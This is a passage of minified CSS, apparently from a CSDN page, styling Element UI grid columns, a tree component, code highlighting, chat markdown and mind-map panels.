83.3333333333%}.el-col-md-offset-20{margin-left:83.3333333333%}.el-col-md-pull-20{position:relative;right:83.3333333333%}.el-col-md-push-20{position:relative;left:83.3333333333%}.el-col-md-21{display:block;max-width:87.5%;flex:0 0 87.5%}.el-col-md-offset-21{margin-left:87.5%}.el-col-md-pull-21{position:relative;right:87.5%}.el-col-md-push-21{position:relative;left:87.5%}.el-col-md-22{display:block;max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-md-offset-22{margin-left:91.6666666667%}.el-col-md-pull-22{position:relative;right:91.6666666667%}.el-col-md-push-22{position:relative;left:91.6666666667%}.el-col-md-23{display:block;max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-md-offset-23{margin-left:95.8333333333%}.el-col-md-pull-23{position:relative;right:95.8333333333%}.el-col-md-push-23{position:relative;left:95.8333333333%}.el-col-md-24{display:block;max-width:100%;flex:0 0 100%}.el-col-md-offset-24{margin-left:100%}.el-col-md-pull-24{position:relative;right:100%}.el-col-md-push-24{position:relative;left:100%}}@media only screen and (min-width:1200px){.el-col-lg-0,.el-col-lg-0.is-guttered{display:none}.el-col-lg-0{max-width:0%;flex:0 0 0%}.el-col-lg-offset-0{margin-left:0}.el-col-lg-pull-0{position:relative;right:0}.el-col-lg-push-0{position:relative;left:0}.el-col-lg-1{display:block;max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-lg-offset-1{margin-left:4.1666666667%}.el-col-lg-pull-1{position:relative;right:4.1666666667%}.el-col-lg-push-1{position:relative;left:4.1666666667%}.el-col-lg-2{display:block;max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-lg-offset-2{margin-left:8.3333333333%}.el-col-lg-pull-2{position:relative;right:8.3333333333%}.el-col-lg-push-2{position:relative;left:8.3333333333%}.el-col-lg-3{display:block;max-width:12.5%;flex:0 0 12.5%}.el-col-lg-offset-3{margin-left:12.5%}.el-col-lg-pull-3{position:relative;right:12.5%}.el-col-lg-push-3{position:relative;left:12.5%}.el-col-lg-4{display:block;max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-lg-offset-4{margin-left:16.6666666667%}.el-col-lg-pull-4{position:relative;right:16.6666666667%}.el-col-lg-push-4{position:relative;left:16.6666666667%}.el-col-lg-5{display:block;max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-lg-offset-5{margin-left:20.8333333333%}.el-col-lg-pull-5{position:relative;right:20.8333333333%}.el-col-lg-push-5{position:relative;left:20.8333333333%}.el-col-lg-6{display:block;max-width:25%;flex:0 0 25%}.el-col-lg-offset-6{margin-left:25%}.el-col-lg-pull-6{position:relative;right:25%}.el-col-lg-push-6{position:relative;left:25%}.el-col-lg-7{display:block;max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-lg-offset-7{margin-left:29.1666666667%}.el-col-lg-pull-7{position:relative;right:29.1666666667%}.el-col-lg-push-7{position:relative;left:29.1666666667%}.el-col-lg-8{display:block;max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-lg-offset-8{margin-left:33.3333333333%}.el-col-lg-pull-8{position:relative;right:33.3333333333%}.el-col-lg-push-8{position:relative;left:33.3333333333%}.el-col-lg-9{display:block;max-width:37.5%;flex:0 0 37.5%}.el-col-lg-offset-9{margin-left:37.5%}.el-col-lg-pull-9{position:relative;right:37.5%}.el-col-lg-push-9{position:relative;left:37.5%}.el-col-lg-10{display:block;max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-lg-offset-10{margin-left:41.6666666667%}.el-col-lg-pull-10{position:relative;right:41.6666666667%}.el-col-lg-push-10{position:relative;left:41.6666666667%}.el-col-lg-11{display:block;max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-lg-offset-11{margin-left:45.8333333333%}.el-col-lg-pull-11{position:relative;right:45.8333333333%}.el-col-lg-push-11{position:relative;left:45.8333333333%}.el-col-lg-12{display:block;max-width:50%;flex:0 0 50%}.el-col-lg-offset-12{margin-left:50%}.el-col-lg-pull-12{position:relative;right:50%}.el-col-lg-push-12{position:relative;left:50%}.el-col-lg-13{display:block;max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-lg-offset-13{margin-left:54.1666666667%}.el-col-lg-pull-13{position:relative;right:54.1666666667%}.el-col-lg-push-13{position:relative;left:54.1666666667%}.el-col-lg-14{display:block;max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-lg-offset-14{margin-left:58.3333333333%}.el-col-lg-pull-14{position:relative;right:58.3333333333%}.el-col-lg-push-14{position:relative;left:58.3333333333%}.el-col-lg-15{display:block;max-width:62.5%;flex:0 0 62.5%}.el-col-lg-offset-15{margin-left:62.5%}.el-col-lg-pull-15{position:relative;right:62.5%}.el-col-lg-push-15{position:relative;left:62.5%}.el-col-lg-16{display:block;max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-lg-offset-16{margin-left:66.6666666667%}.el-col-lg-pull-16{position:relative;right:66.6666666667%}.el-col-lg-push-16{position:relative;left:66.6666666667%}.el-col-lg-17{display:block;max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-lg-offset-17{margin-left:70.8333333333%}.el-col-lg-pull-17{position:relative;right:70.8333333333%}.el-col-lg-push-17{position:relative;left:70.8333333333%}.el-col-lg-18{display:block;max-width:75%;flex:0 0 75%}.el-col-lg-offset-18{margin-left:75%}.el-col-lg-pull-18{position:relative;right:75%}.el-col-lg-push-18{position:relative;left:75%}.el-col-lg-19{display:block;max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-lg-offset-19{margin-left:79.1666666667%}.el-col-lg-pull-19{position:relative;right:79.1666666667%}.el-col-lg-push-19{position:relative;left:79.1666666667%}.el-col-lg-20{display:block;max-width:83.3333333333%;flex:0 0 83.3333333333%}.el-col-lg-offset-20{margin-left:83.3333333333%}.el-col-lg-pull-20{position:relative;right:83.3333333333%}.el-col-lg-push-20{position:relative;left:83.3333333333%}.el-col-lg-21{display:block;max-width:87.5%;flex:0 0 87.5%}.el-col-lg-offset-21{margin-left:87.5%}.el-col-lg-pull-21{position:relative;right:87.5%}.el-col-lg-push-21{position:relative;left:87.5%}.el-col-lg-22{display:block;max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-lg-offset-22{margin-left:91.6666666667%}.el-col-lg-pull-22{position:relative;right:91.6666666667%}.el-col-lg-push-22{position:relative;left:91.6666666667%}.el-col-lg-23{display:block;max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-lg-offset-23{margin-left:95.8333333333%}.el-col-lg-pull-23{position:relative;right:95.8333333333%}.el-col-lg-push-23{position:relative;left:95.8333333333%}.el-col-lg-24{display:block;max-width:100%;flex:0 0 100%}.el-col-lg-offset-24{margin-left:100%}.el-col-lg-pull-24{position:relative;right:100%}.el-col-lg-push-24{position:relative;left:100%}}@media only screen and (min-width:1920px){.el-col-xl-0,.el-col-xl-0.is-guttered{display:none}.el-col-xl-0{max-width:0%;flex:0 0 0%}.el-col-xl-offset-0{margin-left:0}.el-col-xl-pull-0{position:relative;right:0}.el-col-xl-push-0{position:relative;left:0}.el-col-xl-1{display:block;max-width:4.1666666667%;flex:0 0 4.1666666667%}.el-col-xl-offset-1{margin-left:4.1666666667%}.el-col-xl-pull-1{position:relative;right:4.1666666667%}.el-col-xl-push-1{position:relative;left:4.1666666667%}.el-col-xl-2{display:block;max-width:8.3333333333%;flex:0 0 8.3333333333%}.el-col-xl-offset-2{margin-left:8.3333333333%}.el-col-xl-pull-2{position:relative;right:8.3333333333%}.el-col-xl-push-2{position:relative;left:8.3333333333%}.el-col-xl-3{display:block;max-width:12.5%;flex:0 0 12.5%}.el-col-xl-offset-3{margin-left:12.5%}.el-col-xl-pull-3{position:relative;right:12.5%}.el-col-xl-push-3{position:relative;left:12.5%}.el-col-xl-4{display:block;max-width:16.6666666667%;flex:0 0 16.6666666667%}.el-col-xl-offset-4{margin-left:16.6666666667%}.el-col-xl-pull-4{position:relative;right:16.6666666667%}.el-col-xl-push-4{position:relative;left:16.6666666667%}.el-col-xl-5{display:block;max-width:20.8333333333%;flex:0 0 20.8333333333%}.el-col-xl-offset-5{margin-left:20.8333333333%}.el-col-xl-pull-5{position:relative;right:20.8333333333%}.el-col-xl-push-5{position:relative;left:20.8333333333%}.el-col-xl-6{display:block;max-width:25%;flex:0 0 25%}.el-col-xl-offset-6{margin-left:25%}.el-col-xl-pull-6{position:relative;right:25%}.el-col-xl-push-6{position:relative;left:25%}.el-col-xl-7{display:block;max-width:29.1666666667%;flex:0 0 29.1666666667%}.el-col-xl-offset-7{margin-left:29.1666666667%}.el-col-xl-pull-7{position:relative;right:29.1666666667%}.el-col-xl-push-7{position:relative;left:29.1666666667%}.el-col-xl-8{display:block;max-width:33.3333333333%;flex:0 0 33.3333333333%}.el-col-xl-offset-8{margin-left:33.3333333333%}.el-col-xl-pull-8{position:relative;right:33.3333333333%}.el-col-xl-push-8{position:relative;left:33.3333333333%}.el-col-xl-9{display:block;max-width:37.5%;flex:0 0 37.5%}.el-col-xl-offset-9{margin-left:37.5%}.el-col-xl-pull-9{position:relative;right:37.5%}.el-col-xl-push-9{position:relative;left:37.5%}.el-col-xl-10{display:block;max-width:41.6666666667%;flex:0 0 41.6666666667%}.el-col-xl-offset-10{margin-left:41.6666666667%}.el-col-xl-pull-10{position:relative;right:41.6666666667%}.el-col-xl-push-10{position:relative;left:41.6666666667%}.el-col-xl-11{display:block;max-width:45.8333333333%;flex:0 0 45.8333333333%}.el-col-xl-offset-11{margin-left:45.8333333333%}.el-col-xl-pull-11{position:relative;right:45.8333333333%}.el-col-xl-push-11{position:relative;left:45.8333333333%}.el-col-xl-12{display:block;max-width:50%;flex:0 0 50%}.el-col-xl-offset-12{margin-left:50%}.el-col-xl-pull-12{position:relative;right:50%}.el-col-xl-push-12{position:relative;left:50%}.el-col-xl-13{display:block;max-width:54.1666666667%;flex:0 0 54.1666666667%}.el-col-xl-offset-13{margin-left:54.1666666667%}.el-col-xl-pull-13{position:relative;right:54.1666666667%}.el-col-xl-push-13{position:relative;left:54.1666666667%}.el-col-xl-14{display:block;max-width:58.3333333333%;flex:0 0 58.3333333333%}.el-col-xl-offset-14{margin-left:58.3333333333%}.el-col-xl-pull-14{position:relative;right:58.3333333333%}.el-col-xl-push-14{position:relative;left:58.3333333333%}.el-col-xl-15{display:block;max-width:62.5%;flex:0 0 62.5%}.el-col-xl-offset-15{margin-left:62.5%}.el-col-xl-pull-15{position:relative;right:62.5%}.el-col-xl-push-15{position:relative;left:62.5%}.el-col-xl-16{display:block;max-width:66.6666666667%;flex:0 0 66.6666666667%}.el-col-xl-offset-16{margin-left:66.6666666667%}.el-col-xl-pull-16{position:relative;right:66.6666666667%}.el-col-xl-push-16{position:relative;left:66.6666666667%}.el-col-xl-17{display:block;max-width:70.8333333333%;flex:0 0 70.8333333333%}.el-col-xl-offset-17{margin-left:70.8333333333%}.el-col-xl-pull-17{position:relative;right:70.8333333333%}.el-col-xl-push-17{position:relative;left:70.8333333333%}.el-col-xl-18{display:block;max-width:75%;flex:0 0 75%}.el-col-xl-offset-18{margin-left:75%}.el-col-xl-pull-18{position:relative;right:75%}.el-col-xl-push-18{position:relative;left:75%}.el-col-xl-19{display:block;max-width:79.1666666667%;flex:0 0 79.1666666667%}.el-col-xl-offset-19{margin-left:79.1666666667%}.el-col-xl-pull-19{position:relative;right:79.1666666667%}.el-col-xl-push-19{position:relative;left:79.1666666667%}.el-col-xl-20{display:block;max-width:83.3333333333%;flex:0 0 83.3333333333%}.el-col-xl-offset-20{margin-left:83.3333333333%}.el-col-xl-pull-20{position:relative;right:83.3333333333%}.el-col-xl-push-20{position:relative;left:83.3333333333%}.el-col-xl-21{display:block;max-width:87.5%;flex:0 0 87.5%}.el-col-xl-offset-21{margin-left:87.5%}.el-col-xl-pull-21{position:relative;right:87.5%}.el-col-xl-push-21{position:relative;left:87.5%}.el-col-xl-22{display:block;max-width:91.6666666667%;flex:0 0 91.6666666667%}.el-col-xl-offset-22{margin-left:91.6666666667%}.el-col-xl-pull-22{position:relative;right:91.6666666667%}.el-col-xl-push-22{position:relative;left:91.6666666667%}.el-col-xl-23{display:block;max-width:95.8333333333%;flex:0 0 95.8333333333%}.el-col-xl-offset-23{margin-left:95.8333333333%}.el-col-xl-pull-23{position:relative;right:95.8333333333%}.el-col-xl-push-23{position:relative;left:95.8333333333%}.el-col-xl-24{display:block;max-width:100%;flex:0 0 100%}.el-col-xl-offset-24{margin-left:100%}.el-col-xl-pull-24{position:relative;right:100%}.el-col-xl-push-24{position:relative;left:100%}}.csdn-tree[data-v-48fd8c29]{box-sizing:border-box;padding:0 40px 12px 35px}.csdn-tree .box-title[data-v-48fd8c29]{padding:26px 0 24px;color:#222226;font-family:PingFang SC;font-size:20px;font-weight:600}.csdn-tree .box-item-title[data-v-48fd8c29]{display:flex;align-items:center}.csdn-tree .box-item-title .box-item-name[data-v-48fd8c29]{color:#000;font-family:PingFang SC;font-size:14px;padding-left:4px;cursor:pointer}.csdn-tree .box-item-title .tree-arrow[data-v-48fd8c29]{display:flex;align-items:center;justify-content:center;height:16px;width:16px;margin-left:6px;background-color:#fff;border-radius:16px;cursor:pointer}.csdn-tree .box-item-title .tree-arrow svg[data-v-48fd8c29]{height:12px;width:12px;transform:rotateX(0);transition:transform .3s ease-in-out}.csdn-tree .box-item-title .tree-arrow svg.active[data-v-48fd8c29]{transform:rotateX(180deg)}.csdn-tree .box-item-title .box-item-avater[data-v-48fd8c29]{position:relative;display:inline-flex;width:24px;height:24px;margin-right:14px;z-index:9}.csdn-tree .box-item-title .box-item-avater[data-v-48fd8c29]:after{position:absolute;display:block;left:100%;top:50%;margin-top:-1px;content:" ";border-radius:0 2px 2px 0;height:2px;width:16px;background:linear-gradient(90deg,#6d5ffd80,#59c6f880 63.7%,#52edf600)}.csdn-tree .box-item-children[data-v-48fd8c29]{position:relative;margin-left:11px;padding-left:24px;padding-top:6px;overflow:hidden}.csdn-tree .box-item-children .box-item-main[data-v-48fd8c29]{padding-bottom:46px}.csdn-tree .box-item-children[data-v-48fd8c29]:after{position:absolute;display:block;left:0;top:0;content:" ";border-radius:0 0 2px 2px;height:100%;width:2px;transition:all .7s cubic-bezier(.16,1,.3,1);background:linear-gradient(180deg,#6d5ffd00 1.48%,#6587fb80 28.51%,#59c6f880 55.71%,#52edf600 101.49%)}.csdn-tree .box-item-children.first[data-v-48fd8c29]:after{background:linear-gradient(180deg,#6d5ffd80,#59c6f880 63.7%,#52edf600)}.csdn-tree .box-item-children--item[data-v-48fd8c29]{height:104px;padding:22px 15px 12px;flex-shrink:0;border-radius:8px;background:#fffc;margin-bottom:8px;cursor:pointer}.csdn-tree .box-item-children--item .c-tree-name[data-v-48fd8c29]{display:flex;align-items:center;overflow:hidden}.csdn-tree .box-item-children--item[data-v-48fd8c29]:hover{border-radius:8px;border:1px solid #6d5ffd;background:#fff;box-shadow:-6px -2px 18.2px #7d42f929}.csdn-tree .box-item-children--item:hover .c-tree-name[data-v-48fd8c29]{color:#fff;background-clip:text;-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-image:linear-gradient(90deg,#a391ff,#7782ff)}.csdn-tree .box-item-children--item:hover .c-arrow-plus[data-v-48fd8c29]{visibility:visible}.csdn-tree .box-item-children--item .c-arrow-plus[data-v-48fd8c29]{width:20px;height:20px;visibility:hidden}.csdn-tree .box-item-children--item .c-tree--title[data-v-48fd8c29]{color:#222226;font-family:PingFang SC;font-size:16px;font-weight:600;display:flex;justify-content:space-between;align-items:center}.csdn-tree .box-item-children--item .c-tree--desc[data-v-48fd8c29]{margin-top:8px;color:#222226;font-family:PingFang SC;font-size:12px;font-style:normal;font-weight:400;line-height:16px}.simple .csdn-tree[data-v-48fd8c29]{padding:0 26px 12px}.simple .csdn-tree .box-title[data-v-48fd8c29]{font-size:14px;padding:13px 0 6px}.simple .box-item-title .box-item-name[data-v-48fd8c29]{font-size:11px}.simple .box-item-title .box-item-avater[data-v-48fd8c29]{width:18px;height:18px}.simple .box-item-title .tree-arrow[data-v-48fd8c29]{width:12px;height:12px}.simple .box-item-title .tree-arrow svg[data-v-48fd8c29]{height:8px;width:8px}.simple .box-item-children[data-v-48fd8c29]{margin-left:8px}.simple .box-item-children .box-item-main[data-v-48fd8c29]{padding-bottom:16px}.simple .box-item-children .box-item-children--item[data-v-48fd8c29]{height:68px;padding:6px 10px;cursor:pointer}.simple .box-item-children .box-item-children--item .c-tree--title[data-v-48fd8c29]{font-size:12px}.simple .box-item-children .box-item-children--item .c-tree--desc[data-v-48fd8c29]{font-size:12px;margin-top:4px}.simple .box-item-children .box-item-children--item .c-arrow-plus[data-v-48fd8c29]{width:14px;height:14px}.dot[data-v-48fd8c29]{display:inline-block;width:4px;height:4px;border-radius:99px;background-color:#999aaa;margin-right:8px}pre code.hljs{display:block;overflow-x:auto;padding:1em}code.hljs{padding:3px 5px}.hljs{color:#abb2bf;background:#282c34}.hljs-comment,.hljs-quote{color:#5c6370;font-style:italic}.hljs-doctag,.hljs-keyword,.hljs-formula{color:#c678dd}.hljs-section,.hljs-name,.hljs-selector-tag,.hljs-deletion,.hljs-subst{color:#e06c75}.hljs-literal{color:#56b6c2}.hljs-string,.hljs-regexp,.hljs-addition,.hljs-attribute,.hljs-meta .hljs-string{color:#98c379}.hljs-attr,.hljs-variable,.hljs-template-variable,.hljs-type,.hljs-selector-class,.hljs-selector-attr,.hljs-selector-pseudo,.hljs-number{color:#d19a66}.hljs-symbol,.hljs-bullet,.hljs-link,.hljs-meta,.hljs-selector-id,.hljs-title{color:#61aeee}.hljs-built_in,.hljs-title.class_,.hljs-class .hljs-title{color:#e6c07b}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}.hljs-link{text-decoration:underline}.chat-md{box-sizing:border-box}.chat-md :first-child{margin-top:0}.chat-md h1{font-size:2.2em;font-weight:700;line-height:1.1;padding-top:16px;margin-bottom:4px}.chat-md h2,.chat-md h3,.chat-md h4,.chat-md h5,.chat-md h6{line-height:1.5em;margin-top:2.2em;margin-bottom:4px}.chat-md h2{font-size:1.4em;margin:40px 10px 20px 0;padding-left:9px;border-left:6px solid #ff7e79;font-weight:700;line-height:1.4}.chat-md h3{font-weight:700;font-size:1.2em;line-height:1.4;margin:10px 0 5px;padding-top:10px}.chat-md h4{font-weight:700;text-transform:uppercase;font-size:1.1em;line-height:1.4;margin:10px 0 5px;padding-top:10px}.chat-md h5,.chat-md h6{font-size:.9em}.chat-md h5{font-weight:700;text-transform:uppercase}.chat-md h6{font-weight:400;color:#aaa}.chat-md img{width:50%;border-radius:5px;display:block;margin-bottom:15px;height:auto}.chat-md dl,.chat-md ol,.chat-md ul{padding-left:1.5em;line-height:1.8}.chat-md p{margin:0 0 20px;padding:0;line-height:1.5}.chat-md a{color:#f22f27;text-decoration:none}.chat-md a:hover{color:#f55852;text-decoration:underline}.chat-md a:focus{outline-offset:-2px}.chat-md blockquote{font-size:1em;font-style:normal;padding:30px 38px;margin:0 0 15px;position:relative;line-height:1.8;text-indent:0;border:none;color:#888}.chat-md blockquote:before{content:"“";left:12px;top:0;color:#e0e0e0;font-size:4em;font-family:Arial,serif;line-height:1em;font-weight:700;position:absolute}.chat-md blockquote:after{content:"”";right:12px;color:#e0e0e0;font-size:4em;font-family:Arial,serif;line-height:1em;font-weight:700;position:absolute;bottom:-31px}.chat-md strong,.chat-md dfn{font-weight:700}.chat-md em,.chat-md dfn{font-style:italic;font-weight:400}.chat-md del{text-decoration:line-through}.chat-md table{border-collapse:collapse;display:table;width:100%;text-align:left;margin-bottom:24px;margin-left:auto;margin-right:auto}.chat-md table tr{border:0;border-top:1px solid #ddd;background-color:#fff}.chat-md table tr:nth-child(2n){background-color:#f7f7f7}.chat-md table tr th{font-weight:700;background-color:#eff3f5;padding:8px;border:1px solid #ddd}.chat-md table tr th p{font-weight:700}.chat-md table tr td{padding:8px;border:1px solid #ddd}.chat-md figure{margin:1em 0}.chat-md figcaption{font-size:.75em;padding:.5em 2em;margin-bottom:2em}.chat-md figure img{margin-bottom:0}.chat-md hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.chat-md ol p,.chat-md ul p{margin-bottom:0}.chat-md li{margin-bottom:.5em;margin-top:.5em}.chat-md ol#footnotes{font-size:.95em;padding-top:1em;border-top:1px solid #eaeaea;counter-reset:footer-counter;list-style:none;color:#555;padding-left:5%;margin:20px 0}.chat-md ol#footnotes li{margin-bottom:10px;margin-left:16px;font-weight:400;line-height:2;list-style-type:none}.chat-md ol#footnotes li:before{content:counter(footer-counter) ". ";counter-increment:footer-counter;font-weight:800;font-size:.95em}@keyframes highfade{0%{background-color:none}20%{background-color:#ff0}to{background-color:none}}@-webkit-keyframes highfade{0%{background-color:none}20%{background-color:#ff0}to{background-color:none}}.chat-md a:target,.chat-md ol#footnotes li:target,.chat-md sup a:target{animation-name:highfade;animation-duration:2s;animation-iteration-count:1;animation-timing-function:ease-in-out;-webkit-animation-name:highfade;-webkit-animation-duration:2s;-webkit-animation-iteration-count:1;-webkit-animation-timing-function:ease-in-out}.chat-md a:target{border:0;outline:0}.chat-md .hljs{background:#1c1c28;vertical-align:middle}.chat-md li{list-style:inherit}.chat-md ol{list-style:decimal}.chat-md ul{list-style:inherit}.chat-md code:not(.hljs code){color:#c7254e;font-size:90%;background-color:#f9f2f4;font-family:Menlo,Monaco,Consolas,Courier New,monospace}.md_code_container{position:relative;font-size:0;border-radius:8px;margin:10px 0}.md_code_container code{padding:16px 8px;display:block;font-size:15px!important;overflow-y:auto}.md_code_container code::-webkit-scrollbar{width:0}.md_code_container .code-operation{display:flex;align-items:center;justify-content:space-between;height:36px;padding:0 10px;border-bottom:1px solid #666f8d}.md_code_container .code-operation .lang{color:#e8e8f0;line-height:22px;font-size:14px;font-weight:500;font-family:Courier,sans-serif}.md_code_container .chat-btns{position:relative;display:flex;justify-content:flex-end;align-items:center;white-space:initial}.md_code_container .chat_copy_btn{position:relative;display:inline-block;font-size:14px;width:24px;height:24px;padding:0;cursor:pointer;background:url(http://cdn-static-devbit.csdn.net/ai100/chat/imgs/md-copy.png);background-size:contain;z-index:8}.md_code_container .chat_copy_btn.disabled{opacity:.2}.md_code_container .chat_copy_btn.disabled:hover:before{display:none}.md_code_container .chat_copy_btn:before{display:none;content:"复制代码";position:absolute;right:-20px;top:28px;width:58px;padding:4px 8px;color:#fff;background-color:#0009;border-radius:5px;text-align:center}.md_code_container .chat_copy_btn:hover:before{display:block}.md_code_container .chat_run_btn{margin-right:10px;display:inline-block;font-size:14px;width:24px;height:24px;padding:0;cursor:pointer;background:url(https://cdn-static-devbit.csdn.net/ai100/imgs/code-operation-1.png);background-size:contain}.md_code_container .chat_run_btn.disabled{opacity:.2}.md_code_container .chat_run_btn.disabled:hover:before{display:none}.md_code_container .chat_run_btn:before{display:none;content:"运行";position:absolute;right:22px;top:28px;padding:4px 8px;color:#fff;width:28px;background-color:#0009;border-radius:5px;z-index:99;text-align:center}.md_code_container .chat_run_btn:hover:before{display:block}.md_code_container .chat_vscode_btn{margin-right:10px;display:inline-block;font-size:14px;width:24px;height:24px;padding:0;cursor:pointer;background:url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/codegpt.png);background-size:contain}.md_code_container .chat_vscode_btn.disabled{opacity:.2}.md_code_container .chat_vscode_btn.disabled:hover:before{display:none}.md_code_container .chat_vscode_btn:before{display:none;content:"使用代码插件";position:absolute;right:0;top:28px;padding:4px 8px;color:#fff;width:88px;background-color:#0009;border-radius:5px;z-index:99;text-align:center}.md_code_container .chat_vscode_btn:hover:before{display:block}.chat-feedback[data-v-8ffb91e3]{height:24px;border-radius:4px;display:inline-flex;justify-content:center;align-items:center;margin-left:10px;background-color:#0000000d}.chat-feedback .chat-seach-cm-icon[data-v-8ffb91e3]{cursor:pointer;position:relative;color:var(--color-text-content);font-size:24px;margin-right:8px;width:24px;height:100%;line-height:0;transition:color .2s}.chat-feedback .chat-seach-cm-icon[data-v-8ffb91e3]:hover,.chat-feedback .chat-seach-cm-icon[data-v-8ffb91e3]:active{opacity:.85}.chat-feedback .chat-seach-cm-icon[data-v-8ffb91e3]:last-child{margin-right:0}.chat-feedback .chat-seach-cm-icon.like[data-v-8ffb91e3],.chat-feedback .chat-seach-cm-icon.unlike[data-v-8ffb91e3]{color:#6d5ffd}.references{display:flex;align-items:flex-start;margin-top:10px}.references .reference_title{display:flex;align-items:center;font-size:16px;padding-left:4px;position:relative;color:var(--color-text-primary);padding-top:0;font-size:14px;font-weight:600;column-gap:4px;white-space:nowrap;height:26px}.references .reference_list{padding-left:8px;flex:1;display:flex;align-items:center;flex-wrap:wrap;column-gap:10px;row-gap:10px;line-height:18px;list-style:none}.references .reference_list .reference_item{padding:4px;border-radius:12px;background:#6d5ffd1a;max-width:100%;min-width:0;list-style:none;display:inline-flex;align-items:center;column-gap:4px;margin:0}.references .reference_list .reference_item a{font-size:13px;width:100%;height:100%;color:var(--color-text-content);flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-decoration:none}.references .reference_list .reference_item a:hover{color:var(--color-text-primary)}.references .reference_list .reference_item .certification{display:flex;align-items:center;margin-left:4px}.references .reference_list .reference_item .certification img{width:16px;height:16px;margin-right:2px}.references .reference_list .reference_item .certification img:last-child{margin-right:0}.reference-em{position:relative;height:16px;width:16px;display:inline-block;text-align:center;margin:0 2px;font-family:PingFang SC;font-size:12px;line-height:16px;border-radius:50%;color:#fff;background-color:#555570;font-style:normal!important;vertical-align:text-top}.questions-pro{margin-top:14px;display:flex;font-size:14px;font-weight:400;overflow:hidden;column-gap:10px}.questions-pro .qs-left{display:flex;align-items:center;height:22px}.questions-pro .qs-left img{display:inline}.questions-pro .qs-left .qs-icon{width:16px;height:16px}.questions-pro .qs-left span{margin-left:4px;font-size:14px;color:var(--color-text-empty);line-height:20px;font-weight:400;white-space:nowrap}.questions-pro .qs-left+.q{width:max-content;overflow:visible}.questions-pro .q{color:var(--color-text-desc);display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;background:#fff;cursor:pointer;line-height:20px;padding:1px 10px;border-radius:4px;margin-bottom:10px;position:relative}.questions-pro .q .icon-arrow{position:absolute;top:50%;right:0;transform:translateY(-50%)}.simple .chat-item-markmap{height:290px}.chat-item-markmap{height:370px;overflow:hidden}.chat-item-markmap .c-markmap{width:100%;height:100%}.chat-item-markmap .c-markmap .markmap{display:flex;align-items:center;width:100%;height:100%}.chat-item-markmap_toolbar{position:absolute;top:4px;right:4px}.c-markmap-loading{display:flex;flex-direction:column;justify-content:center;align-items:center;text-align:center;height:356px;color:#555666;font-family:PingFang SC;font-size:14px;font-style:normal;font-weight:400;line-height:24px}.c-markmap-loading img{width:48px!important;height:48px!important}.c-markmap-loading .markmap-text{margin-bottom:24px}.c-markmap-error{height:356px;text-align:center;display:flex;align-items:center;justify-content:center;color:#555666;font-family:PingFang SC;font-size:14px;font-style:normal;font-weight:400;line-height:24px}.c-markmap-error img{margin-bottom:24px}.c-markmap-error button{width:224px;margin-top:24px}.markmap-dialog-wrap{border-radius:0!important;position:relative;width:auto!important;padding:0!important}.markmap-dialog-wrap .el-dialog__headerbtn{width:16px;height:16px;top:16px;right:16px}.markmap-dialog-wrap .el-dialog__headerbtn .el-dialog__close{color:#222226}.markmap-dialog-wrap .el-dialog__header,.markmap-dialog-wrap .el-dialog__body{padding:0}.markmap-dialog-wrap .markmap-download{position:absolute;bottom:16px;right:16px}.markmap-dialog{width:auto;display:flex;justify-content:center;width:100vw;height:100vh;overflow:auto;background-color:#fff}.chat-login-btn{display:flex;padding:4px 12px;align-items:flex-start;border-radius:16px;background:#6d5ffd;color:#fff;font-family:PingFang SC;font-size:16px;font-style:normal;font-weight:500;line-height:24px;cursor:pointer}.file-doc{padding:10px;display:flex;background-color:#fff;margin-top:10px;color:#555666;border-radius:4px}.file-doc img{display:inline-block;width:24px;height:24px;margin-right:10px}.chat-item-link .link-info{padding:10px;display:flex;background-color:#fff;margin-top:10px;border-radius:4px;color:#555666;align-items:center;line-height:20px}.chat-item-link .link-info img{display:inline-block;width:24px;height:24px;margin-right:10px}.chat-item-link .link-info span{display:inline-block;word-break:break-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.chat-item-link .link-info span a{color:#555666}.icon-loading-link[data-v-882eb42b]{width:34px;height:34px;margin:-7px!important}.icon-loading-error[data-v-882eb42b]{width:16px;height:16px}.msg-link-error[data-v-e4757782]{display:flex;align-items:center}.msg-link-error span[data-v-e4757782]{line-height:1}.msg-link-error .icon-error[data-v-e4757782]{width:16px;height:16px;margin-left:4px}.msg-error[data-v-e4757782]{display:flex;align-items:center}.msg-error span[data-v-e4757782]{line-height:1}.msg-error .icon-error[data-v-e4757782]{width:16px;height:16px;margin-left:4px}.msg-action[data-v-67e827fd]{color:var(--color-text-active);font-size:14px;line-height:16px;font-weight:500}.msg-action .controlBtn[data-v-67e827fd]{cursor:pointer}.msg-action .controlBtn svg[data-v-67e827fd]{width:18px;vertical-align:-4px}.msg-left[data-v-a3f6de8d] .md_doc_content{line-height:2px}.msg-left[data-v-a3f6de8d] .md_doc_content code{line-height:20px}.msg-left[data-v-a3f6de8d] .md_doc_content .chat-btns{line-height:25px}.markmap-icon[data-v-a3f6de8d]{height:10px}.global-search-prev[data-v-a3f6de8d]{font-size:15px;color:#222226;font-weight:500;display:flex;align-items:center;margin-bottom:12px;column-gap:4px}.global-search-prev svg[data-v-a3f6de8d]{width:16px;height:16px}.chat-markmap[data-v-a3f6de8d]{position:absolute;right:0;bottom:0;height:20px;border-radius:12px 0;background:linear-gradient(141deg,#e2b1ff 5.23%,#6e60fd 97.15%);color:#fff;font-size:12px;font-weight:500;line-height:16px;padding:0 